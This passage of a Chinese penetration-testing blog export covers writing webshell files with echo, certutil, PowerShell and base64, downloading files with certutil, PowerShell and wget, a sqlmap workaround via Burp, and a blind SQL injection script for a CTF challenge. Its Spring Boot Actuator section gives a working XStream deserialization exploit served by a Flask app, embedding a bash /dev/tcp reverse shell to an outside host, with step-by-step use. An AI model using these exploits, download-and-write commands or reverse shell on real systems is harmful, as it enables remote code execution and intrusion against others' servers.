<p><code>冰蝎</code>马使用这种方法转码的效果如下:<br><img data-src="/2019/08/15/SHELL%E5%86%99%E6%96%87%E4%BB%B6%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F/2020-08-20-17-02-27.png"><br>然后通过<code>echo <转码后的payload> > path/xxx.ext</code>写入文件,示例如下:<br><img data-src="/2019/08/15/SHELL%E5%86%99%E6%96%87%E4%BB%B6%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F/2020-08-20-17-02-56.png"><br>局限性:</p>
<ul>
<li><p>Echo 字符数量有限,依赖于具体的浏览器也依赖于 web 服务器,当然还有万恶的 IDS。</p>
</li>
<li><p>IE 在地址栏的字符数上限是 2048 个字符</p>
</li>
<li><p>Chrome 没有明显的上限, 超过 1M 的内容也可以轻松接受</p>
</li>
<li><p>Firefox 没有明显的上限, 超过 5M 的内容也可以轻松接受</p>
</li>
<li><p>LinuxWin tomcat jboss 接受的 URL 最大长度是 7800</p>
</li>
<li><p>Windows Tomcat URL7825</p>
</li>
<li><p>Windows PHP Apache URL 最大长度为 8193<br>IIS6 ASP URL 最大长度为 15973</p>
</li>
</ul>
<h4 id="certutil-base64解码写入"><a href="#certutil-base64解码写入" class="headerlink" title="certutil base64解码写入"></a>certutil base64解码写入</h4><p>上面提到<code>echo</code>写入万恶的转义问题,那么,通过base64编码是不是可以解决这烦人的转义问题呢?是的!<br>比如,我们要把<code><script>alert(1)</script></code>(base64编码为:<code>PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==</code>)写入文件,可用如下方法:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== > 1.txt</span><br><span class="line">certutil.exe -decode 1.txt 2.jsp</span><br></pre></td></tr></table></figure>
<p>这时候<code>2.jsp</code>就是要写入的内容:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">cat 2.jsp</span><br><span class="line"><script>alert(1)</script></span><br></pre></td></tr></table></figure>
<p>顺带一提,<code>certutil</code>下载文件的方法:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">certutil.exe -urlcache -split -f <url></span><br><span class="line">示例:</span><br><span class="line">certutil.exe -urlcache -split -f http://192.168.245.130:8080/1.txt</span><br><span class="line">或者:</span><br><span class="line">certutil.exe -urlcache -split -f http://192.168.245.130:8080/1.txt 2.txt</span><br></pre></td></tr></table></figure>
<p>不幸的是,<strong>即使下载的不是有毒文件,杀软还是很可能会杀掉:</strong><br><img data-src="/2019/08/15/SHELL%E5%86%99%E6%96%87%E4%BB%B6%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F/2020-08-20-17-05-57.png"><br><img data-src="/2019/08/15/SHELL%E5%86%99%E6%96%87%E4%BB%B6%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F/2020-08-20-17-06-02.png"></p>
<h4 id="powershell-base64写入"><a href="#powershell-base64写入" class="headerlink" title="powershell base64写入"></a>powershell base64写入</h4><p><code>powershell</code>写入的方法就简单得多,如下:</p>
<figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="variable">$data</span> = <span class="string">'PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='</span></span><br><span class="line">[<span class="type">System.Text.Encoding</span>]::ASCII.GetString([<span class="type">System.Convert</span>]::FromBase64String(<span class="variable">$data</span>))</span><br></pre></td></tr></table></figure>
<p>效果如下,在后面加上重定向符即可写入文件:<br><img data-src="/2019/08/15/SHELL%E5%86%99%E6%96%87%E4%BB%B6%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F/2020-08-20-17-06-50.png"></p>
<h4 id="powershell下载文件"><a href="#powershell下载文件" class="headerlink" title="powershell下载文件"></a>powershell下载文件</h4><figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line">打印远程文件到控制台: </span><br><span class="line">(<span class="built_in">New-Object</span> Net.WebClient).DownloadString(<span class="string">'http://192.168.245.130:8080/1.txt'</span>)</span><br><span class="line">或者:</span><br><span class="line">powershell <span class="literal">-c</span> (<span class="built_in">New-Object</span> Net.WebClient).DownloadString(<span class="string">'http://192.168.245.130:8080/1.txt'</span>)</span><br><span class="line">直接下载文件: </span><br><span class="line">(<span class="built_in">New-Object</span> Net.WebClient).DownloadFileAsync(<span class="string">'http://192.168.245.130:8080/1.txt'</span>, <span class="string">'1.txt'</span>)</span><br></pre></td></tr></table></figure>
<p><img data-src="/2019/08/15/SHELL%E5%86%99%E6%96%87%E4%BB%B6%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F/2020-08-20-17-07-43.png"></p>
<h3 id="Linux"><a href="#Linux" class="headerlink" title="Linux"></a>Linux</h3><p>因为Linux一般都自带base64命令,这里就不讨论转义的问题了。</p>
<h4 id="bash-base64写入"><a href="#bash-base64写入" class="headerlink" title="bash base64写入"></a>bash base64写入</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== |base64 -d > 1.txt</span><br></pre></td></tr></table></figure>
<h4 id="wget-下载"><a href="#wget-下载" class="headerlink" title="wget 下载"></a>wget 下载</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">wget http://192.168.245.130:8080/1.txt -O 1.jsp</span><br></pre></td></tr></table></figure>
<h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="http://rinige.com/index.php/archives/794/">CMD SHELL ECHO 写文件</a><br><a href="https://codeday.me/bug/20190305/738026.html">用powershell解码base64</a></p>
]]></content>
<categories>
<category>渗透测试</category>
</categories>
<tags>
<tag>渗透测试</tag>
</tags>
</entry>
<entry>
<title>SQLMAP小技巧</title>
<url>/2021/05/26/SQLMAP%E5%B0%8F%E6%8A%80%E5%B7%A7/</url>
<content><![CDATA[<p><strong>本文仅作为技术讨论及分享,严禁用于任何非法用途。</strong></p>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>在日常使用sqlmap中,可能我们会遇到明明手工注入能发现注入点,但是sqlmap发两个包就不再往下跑了,这是怎么回事呢?又该如何解决?</p>
<a id="more"></a>
<h3 id="案例"><a href="#案例" class="headerlink" title="案例"></a>案例</h3><p>这是一个注入点,但是sqlmap只发了两个包<br><img data-src="/2021/05/26/SQLMAP%E5%B0%8F%E6%8A%80%E5%B7%A7/2021-05-28-11-10-07.png"></p>
<p>根据上面的提示,sqlmap应该是因为响应包状态码为<code>401</code>,认为需要授权,实际上是该注入点比较特殊,数据格式异常或者命中拦截规则的时候会返回<code>401</code>状态码</p>
<p>正常访问的响应:<br><img data-src="/2021/05/26/SQLMAP%E5%B0%8F%E6%8A%80%E5%B7%A7/2021-05-28-11-18-51.png"><br>数据格式异常:<br><img data-src="/2021/05/26/SQLMAP%E5%B0%8F%E6%8A%80%E5%B7%A7/2021-05-28-11-19-37.png"></p>
<p>这个时候最简单的办法,当然是通过burp把响应包改掉了,我们只要在burp新建一条自动匹配修改规则即可,让burp自动把<code>401</code>的状态码改成<code>200</code><br><img data-src="/2021/05/26/SQLMAP%E5%B0%8F%E6%8A%80%E5%B7%A7/2021-05-28-11-21-05.png"></p>
<p>创建成功后,把sqlmap的代理设置成burp即可,如:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sqlmap -r tmp\sql2.txt --proxy http://192.168.154.137:8080</span><br></pre></td></tr></table></figure>
<p>这个时候可以看到sqlmap能正常往下测试了:<br><img data-src="/2021/05/26/SQLMAP%E5%B0%8F%E6%8A%80%E5%B7%A7/2021-05-28-11-26-12.png"></p>
]]></content>
<categories>
<category>渗透测试</category>
</categories>
<tags>
<tag>渗透测试</tag>
<tag>WEB</tag>
</tags>
</entry>
<entry>
<title>Spring Boot Actuators未授权GetShell</title>
<url>/2020/06/05/Spring-Boot-Actuators%E6%9C%AA%E6%8E%88%E6%9D%83GetShell/</url>
<content><![CDATA[<p><strong>本文仅作为技术讨论及分享,严禁用于任何非法用途。</strong></p>
<h3 id="漏洞介绍"><a href="#漏洞介绍" class="headerlink" title="漏洞介绍"></a>漏洞介绍</h3><p>actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有: </p>
<a id="more"></a>
<table>
<thead>
<tr>
<th>Http 方法</th>
<th>路径</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>get</td>
<td>/autoconfig</td>
<td>提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过</td>
</tr>
<tr>
<td>get</td>
<td>/configprops</td>
<td>描述配置属性(包含默认值)如何注入 Bean</td>
</tr>
<tr>
<td>get</td>
<td>/beans</td>
<td>描述应用程序上下文里全部的 Bean,以及它们的关系</td>
</tr>
<tr>
<td>get</td>
<td>/dump</td>
<td>获取线程活动的快照</td>
</tr>
<tr>
<td>get</td>
<td>/env</td>
<td>获取全部环境属性</td>
</tr>
<tr>
<td>get</td>
<td>/env/{name}</td>
<td>根据名称获取特定的环境属性值</td>
</tr>
<tr>
<td>get</td>
<td>/health</td>
<td>报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供</td>
</tr>
<tr>
<td>get</td>
<td>/info</td>
<td>获取应用程序的定制信息,这些信息由 info 打头的属性提供</td>
</tr>
<tr>
<td>get</td>
<td>/mappings</td>
<td>描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系</td>
</tr>
<tr>
<td>get</td>
<td>/metrics</td>
<td>报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数</td>
</tr>
<tr>
<td>get</td>
<td>/metrics/{name}</td>
<td>报告指定名称的应用程序度量值</td>
</tr>
<tr>
<td>post</td>
<td>/shutdown</td>
<td>关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false)</td>
</tr>
<tr>
<td>get</td>
<td>/trace</td>
<td>提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等)</td>
</tr>
</tbody></table>
<h3 id="漏洞发现"><a href="#漏洞发现" class="headerlink" title="漏洞发现"></a>漏洞发现</h3><p>访问web应用的<code>/actuator/env</code>或<code>/env</code>,如果有返回json格式的数据则可能存在漏洞。</p>
<h3 id="漏洞exp"><a href="#漏洞exp" class="headerlink" title="漏洞exp"></a>漏洞exp</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, Response</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/'</span>, defaults={<span class="string">'path'</span>: <span class="string">''</span>}</span>)</span></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/<path:path>'</span>, methods = [<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">catch_all</span>(<span class="params">path</span>):</span></span><br><span class="line"> xml = <span class="string">"""<linked-hash-set></span></span><br><span class="line"><span class="string"> <jdk.nashorn.internal.objects.NativeString></span></span><br><span class="line"><span class="string"> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"></span></span><br><span class="line"><span class="string"> <dataHandler></span></span><br><span class="line"><span class="string"> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"></span></span><br><span class="line"><span class="string"> <is class="javax.crypto.CipherInputStream"></span></span><br><span class="line"><span class="string"> <cipher class="javax.crypto.NullCipher"></span></span><br><span class="line"><span class="string"> <serviceIterator class="javax.imageio.spi.FilterIterator"></span></span><br><span class="line"><span class="string"> <iter class="javax.imageio.spi.FilterIterator"></span></span><br><span class="line"><span class="string"> <iter class="java.util.Collections$EmptyIterator"/></span></span><br><span class="line"><span class="string"> <next class="java.lang.ProcessBuilder"></span></span><br><span class="line"><span class="string"> <command></span></span><br><span class="line"><span class="string"> <string>bash</string></span></span><br><span class="line"><span class="string"> <string>-c</string></span></span><br><span class="line"><span class="string"> <string>bash -i >/dev/tcp/1.1.1.1/50101 0>&amp;1</string></span></span><br><span class="line"><span class="string"> </command></span></span><br><span class="line"><span class="string"> <redirectErrorStream>false</redirectErrorStream></span></span><br><span class="line"><span class="string"> </next></span></span><br><span class="line"><span class="string"> </iter></span></span><br><span class="line"><span class="string"> <filter class="javax.imageio.ImageIO$ContainsFilter"></span></span><br><span class="line"><span class="string"> <method></span></span><br><span class="line"><span class="string"> <class>java.lang.ProcessBuilder</class></span></span><br><span class="line"><span class="string"> <name>start</name></span></span><br><span class="line"><span class="string"> <parameter-types/></span></span><br><span class="line"><span class="string"> </method></span></span><br><span class="line"><span class="string"> <name>foo</name></span></span><br><span class="line"><span class="string"> </filter></span></span><br><span class="line"><span class="string"> <next class="string">foo</next></span></span><br><span class="line"><span class="string"> </serviceIterator></span></span><br><span class="line"><span class="string"> <lock/></span></span><br><span class="line"><span class="string"> </cipher></span></span><br><span class="line"><span class="string"> <input class="java.lang.ProcessBuilder$NullInputStream"/></span></span><br><span class="line"><span class="string"> <ibuffer></ibuffer></span></span><br><span class="line"><span class="string"> </is></span></span><br><span class="line"><span class="string"> </dataSource></span></span><br><span class="line"><span class="string"> </dataHandler></span></span><br><span class="line"><span class="string"> </value></span></span><br><span class="line"><span class="string"> </jdk.nashorn.internal.objects.NativeString></span></span><br><span class="line"><span class="string"></linked-hash-set>"""</span></span><br><span class="line"> <span class="keyword">return</span> Response(xml, mimetype=<span class="string">'application/xml'</span>)</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> app.run(host=<span class="string">'0.0.0.0'</span>, port=<span class="number">50102</span>)</span><br></pre></td></tr></table></figure>
<h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>首先把exp保存为<code>exp.py</code>文件,然后修改第22行的ip地址为接收反弹shell的ip,然后运行<code>exp.py</code>:<br><img data-src="/2020/06/05/Spring-Boot-Actuators%E6%9C%AA%E6%8E%88%E6%9D%83GetShell/2020-08-20-19-43-34.png"></p>
<p>配置<code>eureka.client.serviceUrl.defaultZone=http://1.1.1.1:50102/xstream</code>,其中的ip地址为<code>exp.py</code>监听的地址:<br><img data-src="/2020/06/05/Spring-Boot-Actuators%E6%9C%AA%E6%8E%88%E6%9D%83GetShell/2020-08-20-19-45-25.png"></p>
<p>然后通过<code>refresh</code>端点刷新,靶机将通过刚刚在<code>env</code>配置的<code>eureka.client.serviceUrl.defaultZone</code>路径发起请求,获取恶意XML文件:<br><img data-src="/2020/06/05/Spring-Boot-Actuators%E6%9C%AA%E6%8E%88%E6%9D%83GetShell/2020-08-20-19-48-27.png"></p>
<p><code>exp.py</code>接收到靶机发起的请求:<br><img data-src="/2020/06/05/Spring-Boot-Actuators%E6%9C%AA%E6%8E%88%E6%9D%83GetShell/2020-08-20-19-49-49.png"></p>
<p>获得反弹shell:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">socat tcp-l:50101,fork,reuseaddr -</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/06/05/Spring-Boot-Actuators%E6%9C%AA%E6%8E%88%E6%9D%83GetShell/2020-08-20-19-50-54.png"></p>
<p><strong>注意:</strong> <code>http://1.1.1.1:50102/xstream</code>返回的是<code>application/xml</code>格式数据,否则服务端不认,所以需要运行<code>exp.py</code>来做服务。</p>
<h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://www.freebuf.com/news/193509.html">Springboot之actuator配置不当的漏洞利用</a><br><a href="https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Spring%20Boot%20Actuators%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4RCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/">Spring Boot Actuators配置不当导致RCE漏洞复现</a></p>
]]></content>
<categories>
<category>漏洞</category>
</categories>
<tags>
<tag>漏洞</tag>
</tags>
</entry>
<entry>
<title>SQL注入进阶:FLASK加工中转SQLMAP流量</title>
<url>/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/</url>
<content><![CDATA[<p><strong>本文仅作为技术讨论及分享,严禁用于任何非法用途。</strong></p>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>在渗透工作中我们经常能碰到一些逻辑复杂的SQL注入漏洞,并不能直接通过sqlmap工具注入拿到结果。今年网鼎杯的一道SQL注入题“张三的网站”让我久久不能忘怀,我不断思考遇到这类型的SQL注入除了手工注入然后编写脚本一点一点脱数据以外,有没有一个比较优雅的解决方案呢?</p>
<h3 id="一道CTF题的思考"><a href="#一道CTF题的思考" class="headerlink" title="一道CTF题的思考"></a>一道CTF题的思考</h3><p>先来说说“张三的网站”这道题目,因为我手上没有题目源码,所以就根据记忆中的各个功能自己写了一个(很少写php,代码很烂),相关代码已经上传到GitHub,见文章底部。</p>
<a id="more"></a>
<p>该题目主要涉及3个页面:</p>
<ol>
<li>登陆页面<br><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-17-10-23-16.png"></li>
<li>注册页面<br><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-17-10-23-38.png"></li>
<li>登陆后的主页<br><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-17-10-26-22.png"></li>
</ol>
<p>题目中的登陆页面、注册页面均无SQL注入漏洞,但是登陆后的主页在用户名处存在SQL注入漏洞。要利用此漏洞,需要在注册页面控制用户名,邮箱使用随机数生成的邮箱,密码随意,然后使用邮箱和注册时的密码登陆,登陆成功后跳转到主页,此时触发SQL注入漏洞。<br>注册名为“123”的用户:<br><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-17-10-55-42.png"><br><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-17-10-57-53.png"><br><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-17-10-58-04.png"><br>注册名为“123’”的用户:<br><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-17-10-40-25.png"><br><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-17-10-40-35.png"></p>
<p>以下是一个Python脚本手工注入的解法:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line">proxy = {<span class="string">'http'</span>: <span class="string">'127.0.0.1:8080'</span>}</span><br><span class="line">session = requests.session()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">register</span>(<span class="params">username, email, password=<span class="string">'123'</span></span>):</span></span><br><span class="line"> burp0_url = <span class="string">"http://192.168.154.130:80/web/register.php"</span></span><br><span class="line"> burp0_headers = {<span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"</span>, <span class="string">"Accept"</span>: <span class="string">"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"</span>, <span class="string">"Accept-Language"</span>: <span class="string">"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"</span>, <span class="string">"Content-Type"</span>: <span class="string">"application/x-www-form-urlencoded"</span>, <span class="string">"Origin"</span>: <span class="string">"http://192.168.154.130"</span>, <span class="string">"Connection"</span>: <span class="string">"close"</span>, <span class="string">"Referer"</span>: <span class="string">"http://192.168.154.130/web/register.php"</span>, <span class="string">"Upgrade-Insecure-Requests"</span>: <span class="string">"1"</span>}</span><br><span class="line"> burp0_data = {<span class="string">"name"</span>: username, <span class="string">"pw"</span>: password, <span class="string">"repw"</span>: password, <span class="string">"email"</span>: email, <span class="string">"submit"</span>: <span class="string">''</span>}</span><br><span class="line"> r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">login</span>(<span class="params">email, password=<span class="string">'123'</span></span>):</span></span><br><span class="line"> burp0_url = <span class="string">"http://192.168.154.130:80/web/login.php"</span></span><br><span class="line"> burp0_headers = {<span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"</span>, <span class="string">"Accept"</span>: <span class="string">"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"</span>, <span class="string">"Accept-Language"</span>: <span class="string">"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"</span>, <span class="string">"Content-Type"</span>: <span class="string">"application/x-www-form-urlencoded"</span>, <span class="string">"Origin"</span>: <span class="string">"http://192.168.154.130"</span>, <span class="string">"Connection"</span>: <span class="string">"close"</span>, <span class="string">"Referer"</span>: <span class="string">"http://192.168.154.130/web/login.php"</span>, <span class="string">"Upgrade-Insecure-Requests"</span>: <span class="string">"1"</span>}</span><br><span class="line"> burp0_data = {<span class="string">"email"</span>: email, <span class="string">"pw"</span>: password, <span class="string">"submit"</span>: <span class="string">''</span>}</span><br><span class="line"> r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)</span><br><span class="line"> <span class="comment"># 跳转首页</span></span><br><span class="line"> burp0_url = <span class="string">"http://192.168.154.130/web/index.php"</span></span><br><span class="line"> burp0_headers = {<span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"</span>, <span class="string">"Accept"</span>: <span class="string">"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"</span>, <span class="string">"Accept-Language"</span>: <span class="string">"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"</span>, <span class="string">"Referer"</span>: <span class="string">"http://a434051f6c184741b1ede6b610a15f805a546b5b172748e9.changame.ichunqiu.com/login.php"</span>, <span class="string">"Connection"</span>: <span class="string">"close"</span>, <span class="string">"Upgrade-Insecure-Requests"</span>: <span class="string">"1"</span>}</span><br><span class="line"> </span><br><span class="line"> r2 = session.get(burp0_url, headers=burp0_headers, proxies=proxy)</span><br><span class="line"> <span class="keyword">if</span> r2.status_code == <span class="number">302</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'username payload no work'</span>)</span><br><span class="line"> <span class="keyword">elif</span> r2.status_code == <span class="number">200</span>:</span><br><span class="line"> pattern = <span class="string">'''<span class="user-name">(.+?)</span>'''</span></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> userr = re.findall(pattern, r2.text, re.DOTALL)[<span class="number">0</span>]</span><br><span class="line"> <span class="keyword">if</span> userr:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line"> key = string.ascii_lowercase + string.digits + <span class="string">'{}_-'</span></span><br><span class="line"> flag = <span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> keynum <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">43</span>):</span><br><span class="line"> <span class="keyword">for</span> s <span class="keyword">in</span> key:</span><br><span class="line"> username = <span class="string">r"""'or(substr((select e.a from (select (select 1)a union select * from flag)e limit 2 offset 1) from {0} for 1) = '{1}') and '1"""</span>.<span class="built_in">format</span>(keynum, s)</span><br><span class="line"> email = <span class="string">'{}@qq.com'</span>.<span class="built_in">format</span>(<span class="built_in">int</span>(random.random() * <span class="number">10000000</span>))</span><br><span class="line"> register(username, email)</span><br><span class="line"> <span class="keyword">if</span> login(email):</span><br><span class="line"> flag += s</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'key: '</span> + flag)</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure>
<p>如果对ctf不熟悉的朋友应该会很懵,因为语句中直接查询获取了flag表中的内容,而正常情况下,我们是不知道真正的flag在上面表,这样的解法我个人觉得不具备通用性,当然了在ctf比赛中是很高效的。</p>
<p>那么,有没有可能通过sqlmap来进行注入呢?显然,直接使用sqlmap不进行二次开发是无法检测出注入点的,因为sqlmap的注入逻辑不支持多个数据包的逻辑处理。于是我在想有无一种办法,拿到sqlmap的注入检测payload,然后我们通过Python编写相应的请求逻辑,再把响应结果返回到sqlmap呢?答案是可行的!</p>
<h3 id="Flask中转sqlmap注入"><a href="#Flask中转sqlmap注入" class="headerlink" title="Flask中转sqlmap注入"></a>Flask中转sqlmap注入</h3><p>代码实现的结构如下,首先创建一个flask服务,接收<code>payload</code>参数的值,然后传入函数<code>custom_fun</code>中,<code>custom_fun</code>函数由自己编写请求逻辑,把<code>payload</code>参数的值填入到存在注入点的参数中,然后发起请求,把最终响应结果return就行。最后通过sqlmap检测URL:<code>http://127.0.0.1:5000/?payload=1</code>即可,可以适当调整sqlmap的注入参数,比如<code>--level</code>、<code>--risk</code>、<code>--technique</code>等。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> request</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">custom_fun</span>(<span class="params">payload</span>):</span></span><br><span class="line"> <span class="keyword">return</span> <span class="string">''</span></span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/'</span>, methods=[<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">index</span>():</span></span><br><span class="line"> <span class="keyword">if</span> request.method == <span class="string">'GET'</span>:</span><br><span class="line"> payload = request.args.get(<span class="string">'payload'</span>)</span><br><span class="line"> <span class="keyword">elif</span> request.method == <span class="string">'POST'</span>:</span><br><span class="line"> payload = request.form.get(<span class="string">'payload'</span>)</span><br><span class="line"> <span class="keyword">return</span> custom_fun(payload)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line"> app.run(host=<span class="string">'127.0.0.1'</span>, debug=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure>
<p>流程示意图如下:<br><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/sql.drawio.png"></p>
<h3 id="完整注入过程"><a href="#完整注入过程" class="headerlink" title="完整注入过程"></a>完整注入过程</h3><p>先来看看本例的实现代码:</p>
